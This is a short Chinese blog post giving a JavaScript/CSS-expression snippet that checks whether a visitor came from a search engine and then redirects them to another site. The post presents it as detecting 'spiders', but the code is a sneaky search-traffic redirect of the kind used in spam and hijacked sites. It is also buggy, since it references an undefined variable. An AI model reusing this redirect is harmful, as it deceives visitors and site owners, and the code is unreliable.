JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
js获取IP和PcName(IE)在vs中可用
Aug 02 Javascript
Javascript获取HTML静态页面参数传递值示例
Aug 18 Javascript
javascript表单验证大全
Aug 12 Javascript
javascript瀑布流式图片懒加载实例解析与优化
Feb 23 Javascript
JavaScript中判断数据类型的方法总结
May 24 Javascript
JS选取DOM元素的简单方法
Jul 08 Javascript
jQuery正则验证注册页面经典实例
Jun 10 jQuery
浅析Visual Studio Code断点调试Vue
Feb 27 Javascript
element el-input directive数字进行控制
Oct 11 Javascript
nuxt.js中间件实现拦截权限判断的方法
Nov 21 Javascript
Vue-CLI与Vuex使用方法实例分析
Jan 06 Javascript
JS绘图Flot如何实现可选显示曲线图功能
Oct 16 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
在WIN98下以apache模块方式安装php
2006/10/09 PHP
PHP脚本的10个技巧(8)
2006/10/09 PHP
php二分法在IP地址查询中的应用
2008/08/12 PHP
php把数据表导出为Excel表的最简单、最快的方法(不用插件)
2014/05/10 PHP
Zend Framework教程之Bootstrap类用法概述
2016/03/14 PHP
JQuery之focus函数使用介绍
2013/08/20 Javascript
我的Node.js学习之路(四)--单元测试
2014/07/06 Javascript
jquery JSON的解析方式示例介绍
2014/07/27 Javascript
深入理解JavaScript系列(35):设计模式之迭代器模式详解
2015/03/03 Javascript
使用JQuery实现的分页插件分享
2015/11/05 Javascript
JavaScript编写简单的计算器
2015/11/25 Javascript
jQuery 更改checkbox的状态,无效的解决方法
2016/07/22 Javascript
vue开发心得和技巧分享
2016/10/27 Javascript
Bootstrap树形菜单插件TreeView.js使用方法详解
2016/11/01 Javascript
Angular实现一个简单的多选复选框的弹出框指令实例
2017/04/25 Javascript
react 实现页面代码分割、按需加载的方法
2018/04/03 Javascript
利用vscode调试编译后的js代码详解
2018/05/14 Javascript
nodejs文件夹深层复制功能
2019/09/03 NodeJs
python使用三角迭代计算圆周率PI的方法
2015/03/20 Python
在Django的URLconf中进行函数导入的方法
2015/07/18 Python
Pycharm学习教程(2) 代码风格
2017/05/02 Python
PyQt5每天必学之关闭窗口
2018/04/19 Python
pandas Dataframe行列读取的实例
2018/06/08 Python
解决安装python库时windows error5 报错的问题
2018/10/21 Python
python爬取cnvd漏洞库信息的实例
2019/02/14 Python
python实现爬山算法的思路详解
2019/04/09 Python
Python tkinter之ComboBox(下拉框)的使用简介
2021/02/05 Python
Css3实现无缝滚动防抖
2020/09/14 HTML / CSS
世界顶级足球门票网站:Live Football Tickets
2017/10/14 全球购物
街头时尚在线:JESSICABUURMAN
2019/06/16 全球购物
企业消防安全制度
2014/02/02 职场文书
个人现实表现材料
2014/02/04 职场文书
国际经济与贸易专业求职信
2014/07/10 职场文书
个人三严三实对照检查材料思想汇报
2014/09/22 职场文书
颐和园导游词
2015/01/30 职场文书
高一军训决心书
2015/02/05 职场文书